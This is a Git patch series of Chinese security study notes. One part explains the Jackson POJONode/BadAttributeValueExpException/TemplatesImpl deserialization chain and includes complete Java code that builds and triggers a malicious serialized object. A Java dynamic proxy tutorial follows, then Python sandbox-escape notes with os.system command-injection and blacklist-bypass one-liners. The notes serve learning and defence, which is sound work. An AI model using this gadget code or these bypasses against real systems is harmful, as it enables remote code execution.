`java.lang.ClassLoader#defineClass(...)`(JVM 层定义类并触发 ``) +- Gadget / 触发容器类:`java.util.PriorityQueue.readObject()` → `heapify()` → `siftDown()`(比较时触发)citeturn0search17 +- 常用 gadget:`org.apache.commons.collections.functors.InvokerTransformer`、`org.apache.commons.collections.comparators.BeanComparator` / `CommonsBeanutils` 相关 comparator/transformer(用于把反序列化对象链入 invocation/compare)。 + +--- + +**防御/检测建议(结合上述触发点)** + +1. **禁用 Jackson 的默认多态反序列化**(不要使用 `enableDefaultTyping` 或只用严格白名单)。citeturn0search17 +2. **在反序列化入口加白名单/类型过滤器**:只允许显式 DTO、基础类型或已知安全类型。citeturn0search17 +3. **依赖审计**:识别并尽量移除或升级包含已知 gadget 的库(Commons-Collections、Commons-Beanutils、老版本 Xalan 等)。citeturn0search5turn0search16 +4. **运行时最小权限 & 沙箱**:尽可能以低权限运行 JVM,限制网络/文件操作,使用容器/进程隔离。 +5. **检测与日志**:监控异常的类加载、非预期的 `defineClass` 调用、或在运行时突然出现的外部进程调用迹象。 + +### POJONode#toString + +好 —— 我把 **`POJONode#toString()` 在 Jackson + `TemplatesImpl` 利用链** 中的**作用、原理和典型调用链**讲清楚,并给出一个安全(**不含任何可执行 exploit/payload**)的示例调用顺序,方便你把各个环节对齐理解。所有关键技术点都附上来源,便于你深入核验与防护。 + +> 先给结论:**`POJONode#toString()` 的“危险”并不是它自己去执行代码**,而是它在把内部包装的 POJO 转成字符串时会触发 Jackson 的 `writeValueAsString(...)` 路径 —— 那条路径会遍历 Bean 的属性并调用它们的 getter。若被包装的 POJO 是 `TemplatesImpl`(或其它能在 getter 中触发字节码加载/副作用的类),那这些 getter(例如 `getOutputProperties()` → `newTransformer()` → `getTransletInstance()`)就会被调用,最终可能导致类定义与初始化时的副作用(比如执行静态初始化/构造器中的命令)。citeturn0search2turn1search6 + +--- + +**1) 为什么 POJONode 会触发 getter 调用(核心思想)** + +- `POJONode` 是 Jackson 的一个 `JsonNode` 子类,用来“包装任意 POJO”作为树节点(它内部保存一个 Object)。当框架/代码调用 `toString()`(或把这个节点序列化成 JSON 字符串)时,Jackson 会把被包装的 POJO 当作普通 Bean 来序列化 —— 这会走到 `ObjectWriter.writeValueAsString(...)` → Bean 序列化器路径,序列化器会逐个调用 Bean 的 getter 来收集属性值。结果就是“包装对象的 getter 会被触发执行”。citeturn1search0turn1search3 +- 因为 `POJONode` 本身没有重写 `toString()`(或其实现由父类链路处理),调用 `toString()` 会最终走到把内部 POJO 转成 JSON 的逻辑(即 `writeValueAsString`),从而触发 Bean 序列化器(调用 getter)。这正是攻击链利用的切入点之一。citeturn0search0turn1search6 + +--- + +**2) 典型的触发场景(为什么会在反序列化链里被调用)** + +攻击链常把 `POJONode` 放进一个会在反序列化时或随后被 `toString()` 的容器/对象里(例如 `BadAttributeValueExpException.val`),或被其它类在 `readObject()` / 日志 / 错误处理里调用 `toString()`。当 JVM/应用在某处调用 `toString()`(例如异常消息、日志、序列化替换、或容器的序列化代理)时,POJONode 的序列化路径会触发包装对象的 getter。许多公开分析把 `BadAttributeValueExpException` 与 `POJONode` 组合当作触发器的示例。citeturn1search6turn0search2 + +--- + +**3) 逐步调用链(方法级、按执行顺序列出 — 仅方法/类名)** + +下面给出一个常见变体的 **方法级调用顺序**,把每步的“发生了什么”也写清楚。**注意:这里只是说明调用关系,不包含任何可执行 payload / 构造细节**。 + +1. `javax.management.BadAttributeValueExpException.toString()` + - 当 JVM/应用把该异常对象转字符串或写日志时,会调用其 `toString()`,而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`(即 `val.toString()`)。(这是一个常见“触发点”容器。)citeturn1search6 +2. `com.fasterxml.jackson.databind.node.POJONode.toString()`(或 POJONode 走到父类实现) + - `POJONode` 是包装 POJO 的 `JsonNode`,其 `toString()`/序列化实现会把内部 POJO 转为 JSON 字符串。若 `val` 就是 `POJONode`,`BadAttributeValueExpException.toString()` 会导致执行这里。citeturn1search0turn1search6 +3. `com.fasterxml.jackson.databind.util.InternalNodeMapper.nodeToString(...)`(实现细节,某版本内链) + - Jackson 内部会调用帮助方法把 `JsonNode` 转为字符串,这条链路会调到 ObjectWriter / ObjectMapper。不同版本类名略有差别,但核心是走到 `writeValueAsString`。citeturn1search6 +4. `com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(Object)`(或 `ObjectMapper.writeValueAsString`) + - 这是把任意 Java 对象序列化为 JSON 字符串的入口。对 POJO 的处理会选用 Bean 序列化器。citeturn1search2 +5. `com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(...)` → `BeanSerializer.serialize(...)` → `BeanSerializerBase.serializeFields(...)` → `BeanPropertyWriter.serializeAsField(...)` + - 这些方法负责遍历 Bean 的属性描述并调用对应的 getter(`Method.invoke`)来取得属性值并写入 JSON。也就是说,**序列化 Bean 会直接调用它的 getter 方法**。citeturn0search0turn1search6 +6. (若被包装的 POJO 是 `TemplatesImpl`)`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()`(或其它 getter)被调用 + - `getOutputProperties()` 会确保有一个 Transformer/translet 实例;该过程会走到 `newTransformer()` → `getTransletInstance()` → `defineTransletClasses()`,而这些最终会触发加载 `_bytecodes` 并通过 `ClassLoader.defineClass(...)` 定义/初始化类(从而执行类的静态初始化 `` 或构造器中的副作用)。这就是为什么把 `TemplatesImpl` 作为 POJO 放入 POJONode 会很危险。citeturn0search2turn0search9 +7. `java.lang.ClassLoader.defineClass(...)` → JVM 执行类初始化(`` / 构造器) → **副作用发生(如命令执行等)**。citeturn0search2 + +(上面每一步都对应实际实现中的类/方法,可能随 Jackson 或 JDK 版本微调,但总体模式稳定:**POJONode → writeValueAsString → BeanSerializer → 调用 getter → TemplatesImpl 的 getter 导致类加载**。)citeturn1search6turn0search2 + +--- + +**4) 一个概念性(不可执行)示例调用栈(只读)** + +(便于画图或在审计里贴:) + +``` +scssCopy codeBadAttributeValueExpException.toString() + -> POJONode.toString() // POJONode 包装了一个 TemplatesImpl 实例 + -> InternalNodeMapper.nodeToString(...) / ObjectMapper.writeValueAsString(...) + -> DefaultSerializerProvider.serializeValue(...) + -> BeanSerializer.serialize(...) + -> BeanSerializerBase.serializeFields(...) + -> BeanPropertyWriter.serializeAsField(...) + -> invoke TemplatesImpl.getOutputProperties() + -> TemplatesImpl.newTransformer() + -> TemplatesImpl.getTransletInstance() + -> TemplatesImpl.defineTransletClasses() + -> ClassLoader.defineClass(...) + -> / constructor run (副作用) +``` + +(上面链条与前面解释一一对应 — 这就是 POJONode#toString 在链条中的“桥接”/入口作用。)citeturn0search2turn1search6 + +--- + +**5) 为什么攻击者喜欢用 POJONode(要点总结)** + +- `POJONode` 能包装“任意 POJO”,把危险的对象 *隐式* 放入 Jackson 的树结构里。 +- `BadAttributeValueExpException` 等 JDK 类在某些上下文会被自动 `toString()`,因此把 `POJONode` 放进这些容器可以把“字符串/序列化”流程当成触发器。citeturn1search6turn0search2 + +--- + +**6) 防护与检测建议(务实可行)** + +这些建议都是可在生产中落地的安全措施,能阻断或检测上面那条链条: + +1. **不要接受/处理不受信任的反序列化数据,也不要启用不受限的多态(Default Typing)**。Jackson 的 `enableDefaultTyping()` 已被标为不安全/弃用;若必须使用多态,使用 `PolymorphicTypeValidator` 白名单限制。citeturn2search4turn2search3 +2. **拒绝或过滤掉输入中包含类型指示(`@class` / `@type` / class names)或可疑字段(如 `_bytecodes` / `transletBytecodes` / base64 字节码)**,在把原始 JSON 交给 `ObjectMapper.readValue` 之前先用 `JsonNode` 做预检。citeturn2search6 +3. **在构建/CI 中检测“危险配置”**:查找代码库中是否存在 `enableDefaultTyping()`、`activateDefaultTyping(...)` 没有验证器参数的用法、或把 `Object` 当作反序列化目标。citeturn2search6 +4. **移除或升级含已知 gadget 的第三方库**(commons-collections、commons-beanutils、老版本 Xalan/某些管理类等),并做依赖树审计。citeturn0search5turn2search6 +5. **运行时限制与检测**:用最小权限运行 JVM(限制执行命令、限制文件写入/网络出口),并监控异常类加载、未预期的 `defineClass` 行为或异常外部进程启动。日志/入侵检测要覆盖到反序列化入口。citeturn2search6 + +--- + +**参考(你可以点进去看实现 / 深度分析)** + +- xz.aliyun 的分析(讲解 POJONode → writeValueAsString → getter 的链条与 POJONode 做为利用载体的机制)。citeturn0search0turn0search2 +- 多篇博客/文章对 `POJONode` 利用与 Jackson 序列化调用 getter 的讨论(含实现调用栈)。citeturn1search6turn0search4 +- Jackson 官方 Javadoc(POJONode、PolymorphicTypeValidator / activateDefaultTyping 的 API 文档)。citeturn1search0turn2search3 + +### 总结 + +> https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/ + +**POJONode#toString():**内部保存对象(POJO),触发toString()时,Jackson 会把被包装的 POJO 当作普通 Bean 来序列化,序列化时会调用它保存对象的getter; + +作用:**触发toString()时,它的包装对象的 getter 会被触发执行,用来触发getOutputProperties的调用** + +**BadAttributeValueExpException.val:**BadAttributeValueExpException#readObject`,这是一个原生类,在`readObject`的时候会触发val`属性的 toString,当 JVM/应用把该异常对象转字符串或写日志时,会调用其 `toString()`,而 `toString()` 会访问其 `val` 字段并对其做 `String.valueOf(val)`(即 `val.toString()`)。(这是一个常见“触发点”容器。), + +作用:**把POJONode放到BadAttributeValueExpException的value字段,将其进行反序列化时,会触发value字段的toString(),也就是POJONode#toString()** + +所以这条链子反序列化的对象就是BadAttributeValueExpException + +### 完整样例代码和调用链 + +``` +BadAttributeValueExpException.toString() + | + v +POJONode.toString() + | + v +ObjectMapper.writeValueAsString(Object) + | + v +DefaultSerializerProvider.serializeValue() + | + v +BeanSerializer.serialize() + | + v +BeanSerializerBase.serializeFields() + | + v +BeanPropertyWriter.serializeAsField() + | + v +TemplatesImpl.getOutputProperties() <-- 调用触发点 + | + v +TemplatesImpl.newTransformer() + | + v +TemplatesImpl.getTransletInstance() + | + v +TemplatesImpl.defineTransletClasses() + | + v +ClassLoader.defineClass() <-- 加载恶意字节码并执行静态初始化块 + | + v +恶意代码执行(如命令执行,RCE) +``` + +``` +package com; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; + +public class AliyunBypassIt { + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + + try { + ClassPool pool = ClassPool.getDefault(); + CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); + jsonNode.removeMethod(writeReplace); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + jsonNode.toClass(classLoader, null); + } catch (Exception e) { + } + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest"); + CtClass clazzz = pool.get("EvilTest"); + byte[] code = clazzz.toBytecode(); + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates, "_bytecodes", new byte[][]{code}); + setFieldValue(templates, "_name", "HelloTemplatesImpl"); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + POJONode node = new POJONode(templates); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + setFieldValue(val, "val", node); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(val); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object) ois.readObject(); + } +} +``` + +# Java动态代理 + +https://liaoxuefeng.com/books/java/reflection/proxy/index.html + +**什么是 Java 动态代理(通俗讲)** + +动态代理就是在**运行时**动态生成一个“代理对象”,这个对象在外形上看起来像某个接口的实现(可以被当成目标接口使用),但它并不是真正的业务实现,而是把所有方法调用**转交给一个统一的处理器**(`InvocationHandler`)来处理。这个处理器可以在调用前后做额外事情(例如日志、权限校验、缓存、事务、远程调用等),然后决定是否并如何调用真实对象的对应方法。 + +**JDK 动态代理是:用一个实现接口的新类(代理类)拦截接口方法调用,并在 handler 中决定最终转发到哪个真实对象。这个真实对象可以是任何类实例,但代理本身永远是接口的代理** + +通俗比喻: +想象你在一家餐馆点菜,服务员(代理)把你的请求转给厨房(真实对象)。服务员可以在转达前先记下信息、检查你会员资格、记录日志、或直接返回一个缓存的菜。服务员是动态创建的,但对你来说就是那个“会服务”的人。 + +--- + +**JDK 动态代理的关键点(要记住的)** + +- JDK 的动态代理基于 `java.lang.reflect.Proxy` 和 `InvocationHandler`。 +- 它**只能为接口创建代理**(代理类在运行时实现了这些接口)。如果你需要代理类而非接口(如对具体类代理),通常用 CGLIB / ByteBuddy 等库。 +- 典型用途:AOP(横切关注点)、RPC 桩、日志/监控、权限/校验、mock 单元测试等。 + +--- + +**简单示例:用动态代理给方法加日志(完整可运行)** + +下面的例子包含: + +1. 一个接口 `GreetingService` 和其真实实现 `GreetingServiceImpl`。 +2. 一个 `LoggingInvocationHandler`,把方法调用记录日志并委托给真实对象。 +3. 使用 `Proxy.newProxyInstance(...)` 创建代理,并演示调用链。 + +``` +javaCopy code// File: DynamicProxyDemo.java +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; + +// 1) 接口 +public interface GreetingService { + String greet(String name); +} + +// 2) 真实实现 +class GreetingServiceImpl implements GreetingService { + @Override + public String greet(String name) { + return "Hello, " + name; + } +} + +// 3) InvocationHandler:所有代理方法调用都会来到这里 +class LoggingInvocationHandler implements InvocationHandler { + private final Object target; + + public LoggingInvocationHandler(Object target) { + this.target = target; + } + + // method: 被调用的方法;args: 方法参数 + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + // 在调用前做点事 + System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + (args != null ? java.util.Arrays.toString(args) : "[]")); + + // 可以做权限校验、缓存判断、远程调用替换等 + // 这里我们把调用转发给真实对象 + Object result = method.invoke(target, args); + + // 在调用后做事 + System.out.println("[LOG] 方法返回: " + result); + return result; + } +} + +// 4) 演示创建代理并调用 +public class DynamicProxyDemo { + public static void main(String[] args) { + GreetingService real = new GreetingServiceImpl(); + + // 创建代理实例(指定类加载器、代理要实现的接口、以及 InvocationHandler) + GreetingService proxy = (GreetingService) Proxy.newProxyInstance( + GreetingService.class.getClassLoader(), + new Class[]{GreetingService.class}, + new LoggingInvocationHandler(real) + ); + + // 调用代理的方法 —> 实际上会进入 LoggingInvocationHandler.invoke(...) + String s = proxy.greet("Alice"); + System.out.println("最终结果: " + s); + } +} +``` + +运行输出(示例): + +``` +lessCopy code[LOG] 调用方法: greet, 参数: [Alice] +[LOG] 方法返回: Hello, Alice +最终结果: Hello, Alice +``` + +--- + +**调用链(call chain)** + +下面从 **整体调用流程(调用链)** 与 **每个步骤的执行逻辑** 两个角度,对你提供的代码进行深入分析。为了让你能清晰看到 *方法从 main → proxy → handler → real object → 返回* 的完整路径,我会以“事件时序图式”方式拆开。 + +--- + +## ✅ 一、整体调用链(从 main 开始) + +调用链如下: + +
cpp
main() + └── proxy.greet("Alice") + └── JDK 动态代理机制触发 InvocationHandler.invoke() + └── LoggingInvocationHandler.invoke(proxy, greet, ["Alice"]) + ├── 前置日志打印 + ├── 调用真实对象方法:method.invoke(target, args) + │ └── GreetingServiceImpl.greet("Alice") + │ └── 返回 "Hello, Alice" + ├── 后置日志打印 + └── 返回 "Hello, Alice" + └── main() 接收到返回值 +
+ + +--- + +## ✅ 二、详细执行逻辑(逐行解析) + +以下按代码执行顺序,拆解整个调用过程。 + +--- + +### **1. main 方法启动** + +
java
GreetingService real = new GreetingServiceImpl(); +
+ + +创建真实对象 `GreetingServiceImpl`,用来作为代理的目标。 +**因为 JDK 动态代理只拦截“对代理对象的接口方法调用”,它本身不具有业务逻辑,因此必须有一个真实对象作为“被代理的目标对象”,由 InvocationHandler 在适当时机调用它来完成真正的业务行为。代理类自己没有真正实现 greet() 的业务逻辑,除非你在 invoke() 里把整个方法逻辑自己写一遍** + +--- + +### **2. 通过 Proxy.newProxyInstance 创建代理对象** + +
java
GreetingService proxy = (GreetingService) Proxy.newProxyInstance( + GreetingService.class.getClassLoader(), + new Class[]{GreetingService.class}, + new LoggingInvocationHandler(real) +); +
+ + +#### 🚩 此行发生三件事: + +--- + +#### **① 生成代理类(JDK 自动生成字节码)** + +JDK 动态代理会在运行时生成一个 **实现 GreetingService 接口** 的代理类(记为 `$Proxy0`)。 + +你永远不会看到它的源码,但它大概长这样: + +
java
public final class $Proxy0 implements GreetingService { + private InvocationHandler h; + + + public $Proxy0(InvocationHandler h) { + this.h = h; + } + + @Override + public String greet(String name) { + return (String) h.invoke(this, GreetingService.class.getMethod("greet", String.class), new Object[]{name}); + } + +} +
+ +#### **② 实例化代理对象 proxy** + +得到 `proxy`,它其实是 `$Proxy0` 的实例。 + +#### **③ 绑定 InvocationHandler** + +`new LoggingInvocationHandler(real)` 意味着 ​**所有方法调用都会被转发到该 handler 的 invoke() 方法**​。 + +--- + +#### **3. 调用代理的方法:proxy.greet("Alice")** + +
java
String s = proxy.greet("Alice"); +
+ + +注意!这里调用的是 **代理对象** 的 `greet`,不是 `GreetingServiceImpl` 的。 + +于是进入代理类 `$Proxy0.greet()`(JDK 生成的代码)。 + +****这里 `greet()` 调用的是 ​**“接口 GreetingService 中声明的 greet 方法”**​, +不是“实现类 GreetingServiceImpl 中的方法”。因此实现的是拦截接口方法调用****** + +--- + +#### **4. $Proxy0.greet() 内部:调用 InvocationHandler.invoke()** + +JDK 动态代理的核心行为: + +
java
h.invoke(this, methodGreet, new Object[]{"Alice"}); +
+ + +即: + +
cpp
→ 调用 LoggingInvocationHandler.invoke() +
+ + +--- + +## ✅ 三、InvocationHandler.invoke() 的完整执行流程 + +
java
@Override +public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + System.out.println("[LOG] 调用方法: " + method.getName() + ", 参数: " + Arrays.toString(args)); + + + Object result = method.invoke(target, args); // 调用真实对象的方法 + + System.out.println("[LOG] 方法返回: " + result); + return result; + +} +
+ +### 步骤: + +--- + +### **① 打印前置日志** + +
less
[LOG] 调用方法: greet, 参数: [Alice] +
+ + +--- + +### **② 通过反射调用真实对象的方法** + +
java
Object result = method.invoke(target, args); +
+ + +即: + +
python
→ 调用 GreetingServiceImpl.greet("Alice") +
+ + +真实对象返回: + +
python
"Hello, Alice" +
+ + +--- + +### **③ 打印后置日志** + +
csharp
[LOG] 方法返回: Hello, Alice +
+ + +--- + +### **④ 将返回值交回给代理(进而回到 main)** + +`invoke` 返回 `"Hello, Alice"`。 + +--- + +## ✅ 四、控制流回到 main + +
java
System.out.println("最终结果: " + s); +
+ + +输出: + +
makefile
最终结果: Hello, Alice +
+ + +至此调用链完整结束。 + +--- + +## 🎯 五、调用链总结(图示) + +
scss
main() + └── proxy.greet("Alice") + └── $Proxy0.greet("Alice") ← JDK 生成 + └── LoggingInvocationHandler.invoke(...) + ├── 日志打印 + ├── 调用真实对象 GreetingServiceImpl.greet() + ├── 后置日志 + └── 返回结果 + └── main() 输出结果 +
+ + +--- + +## 🎉 六、总结要点 + +| 阶段 | 行为 | +| ------------ | ------------------------------------------- | +| 创建代理 | 运行时生成 `$Proxy0` 实现接口 | +| 方法调用 | 所有调用都被转交给 InvocationHandler.invoke | +| invoke 内部 | 可以做 AOP、鉴权、日志、RPC 转发等 | +| 调用真实对象 | 通过反射执行 `method.invoke(target, args)` | + +**多个接口、lambda 写法、以及注意事项** + +1. **实现多个接口**:在 `Proxy.newProxyInstance` 的第二个参数给多个接口类数组即可。 +2. **简洁写法(Java 8 Lambda)**: + +``` +javaCopy codeGreetingService proxy2 = (GreetingService) Proxy.newProxyInstance( + GreetingService.class.getClassLoader(), + new Class[]{GreetingService.class}, + (proxy, method, args) -> { + System.out.println("call " + method.getName()); + // 这里没有真实对象,直接返回示例值 + if (method.getName().equals("greet")) { + return "Hi, " + args[0]; + } + return null; + } +); +``` + +1. **注意:`proxy` 参数不要在 `invoke` 内做 `proxy` 的 `toString()` 或其他反射调用,容易导致无限递归或不可预期的行为。** +2. **性能:** JDK 动态代理使用反射调用,性能一般够用;在高性能场景可以考虑其他方案(字节码生成、AOT、手写代理类等)。 +3. **限制:** 只能代理接口;如果要代理类(没有接口),可以使用 CGLIB / ByteBuddy,它们通过生成子类实现拦截(需要无 final 方法、可访问构造器等)。 # Listener 与 Filter、AOP 的区别 JavaWeb 中还有 Filter(过滤器)、AOP(面向切面编程),三者都能实现 “通用逻辑解耦”,但核心定位不同: From f2e9c2074472ffd76efca3a53bdf7fd1de168e90 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:21:11 +0800 Subject: [PATCH 20/32] Create PythonSec --- PythonSec | 1 + 1 file changed, 1 insertion(+) create mode 100644 PythonSec diff --git a/PythonSec b/PythonSec new file mode 100644 index 0000000..682b398 --- /dev/null +++ b/PythonSec @@ -0,0 +1 @@ +记录一些遇到的python安全知识 From 83f8205e43e6b48d4ca6597870e24da9cef3567f Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:26:08 +0800 Subject: [PATCH 21/32] Delete PythonSec --- PythonSec | 1 - 1 file changed, 1 deletion(-) delete mode 100644 PythonSec diff --git a/PythonSec b/PythonSec deleted file mode 100644 index 682b398..0000000 --- a/PythonSec +++ /dev/null @@ -1 +0,0 @@ -记录一些遇到的python安全知识 From 1c3a87995a40b2f8b103f297c96ea4ca7cbeaa7a Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:26:39 +0800 Subject: [PATCH 22/32] =?UTF-8?q?Create=20Python=E6=B2=99=E7=AE=B1?= =?UTF-8?q?=E9=80=83=E9=80=B8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Python\346\262\231\347\256\261\351\200\203\351\200\270.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" new file mode 100644 index 0000000..8b13789 --- /dev/null +++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" @@ -0,0 +1 @@ + From e9dd56d25c4a3ccae7defcb2c1456665f07c379a Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 16:58:35 +0800 Subject: [PATCH 23/32] =?UTF-8?q?Update=20Python=E6=B2=99=E7=AE=B1?= =?UTF-8?q?=E9=80=83=E9=80=B8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\262\231\347\256\261\351\200\203\351\200\270.md" | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" index 8b13789..82b7fdd 100644 --- "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" +++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" @@ -1 +1,12 @@ +Python沙箱是一种安全机制,用于在受限环境中执行不受信任的Python代码,防止其执行非预期的指令对主机系统造成危害 + +# Python代码执行流程 +``` +code="import os;os.system('whoami')" +workspace = {} # 创建一个空字典,用于存储执行后的变量 +fun = compile(code, 'run_python', 'exec') # 编译代码 +exec(fun, workspace) # 在 workspace 中执行编译后的代码 +``` +5d31a4f6e6c749e7b2bdce25e161a8ae +Python代码执行流程先由源代码经过语法分析和词法分析解析为抽象语法树,再将AST编译为Python字节码,最后将Python字节码作为Python虚拟机指令执行。 From 5cfd7f0428fe7af2e3faa545f005c0ac22949383 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 2 Dec 2025 17:55:05 +0800 Subject: [PATCH 24/32] =?UTF-8?q?Update=20Python=E6=B2=99=E7=AE=B1?= =?UTF-8?q?=E9=80=83=E9=80=B8.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...31\347\256\261\351\200\203\351\200\270.md" | 436 ++++++++++++++++++ 1 file changed, 436 insertions(+) diff --git "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" index 82b7fdd..e41067b 100644 --- "a/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" +++ "b/PythonSec/Python\346\262\231\347\256\261\351\200\203\351\200\270.md" @@ -10,3 +10,439 @@ exec(fun, workspace) # 在 workspace 中执行编译后的代码 ``` 5d31a4f6e6c749e7b2bdce25e161a8ae Python代码执行流程先由源代码经过语法分析和词法分析解析为抽象语法树,再将AST编译为Python字节码,最后将Python字节码作为Python虚拟机指令执行。 + +# Python沙箱分类 +对于Python沙箱存在多种限制用户执行恶意代码的方法 +## 字符串检查 +对用户的输入,通过字符串黑名单的方式进行限制,如判断不能出现os.system等字样,防护非常弱存在很多逃逸的可能性。 +举例: +某 Python沙箱,分析每一行代码,查看是否开头为import或者from,如果是则从里面切割字符串取出导入的模块,分析是否在白名单中。 + +绕过方法很多,随便举例:逻辑缺陷,print('a');import os;os.system('touch /tmp/ccc'),确保了非import 开头因此不会被检查。不同场景还有编码绕过等。 + +## 语法树检查 +在代码执行前分析语法树,禁止导入、函数定义等操作,相比纯字符串匹配有一定的加强,可能针对检查的遗漏进行绕过。 +举例: +某产品旧版Python沙箱,将用户提交的代码转换成抽象语法树,然后对函数调用进行分析。 + +## 动态Hook +在Python进程启动时将识别到的危险方法进行替换,为原始函数添加装饰器,实现动态插桩。 +## Python虚拟机修改 +CPython层面裁剪功能,将非必要的能力删除,增加代码逻辑限制,尽可能缩减攻击面。 +去除了os.system、os.popen等危险函数的实现,去除了subprocess、ctype等危险模块的实现,修改取值逻辑不允许获取名称带__的字段等。 + +# 沙箱逃逸漏洞挖掘思路与技巧 +常规的思路:测试一下常见的危险函数能否执行,不进一步思考执行失败的原因。 +更好的思路:研究在受限环境中我们可以做的事情,分析清楚沙箱所做的所有限制,思考是否存在方法突破受限环境的限制。 +## 基础知识 +### Python 命名空间 +内置命名空间(built-in namespace), Python 语言内置的命名空间,比如函数名 abs、char 和异常名称 BaseException、Exception 等等。 +全局命名空间(global namespace),模块中定义的命名空间,记录了模块的变量,包括函数、类、其它导入的模块、模块级的变量和常量。 +局部命名空间(local namespace),函数中定义的命名空间,记录了函数的变量,包括函数的参数和局部定义的变量。(类中定义的也是) + +命名空间查找顺序 +假设我们要使用变量 runoob,则 Python 的查找顺序为:局部的命名空间 -> 全局命名空间 -> 内置命名空间。 +如果找不到变量 runoob,它将放弃查找并引发一个 NameError 异常: +``` +NameError: name 'runoob' is not defined。 +``` +**全局命名空间** +我们可以通过globals()获取在当前全局命名空间下可以直接访问的变量和函数,如果在这些变量或函数中存在危险能力则可以直接使用。 +``` +>>> print(globals()) +{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': } +``` +**内置命名空间** +通过print(dir(__builtins__))获取在内置命名空间下可以获取的变量和函数,它是 Python 解释器默认加载的核心功能集合,可以直接在代码中使用,无需导入任何模块。 + + +``` +>>> print(dir(__builtins__)) +['ArithmeticError','AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 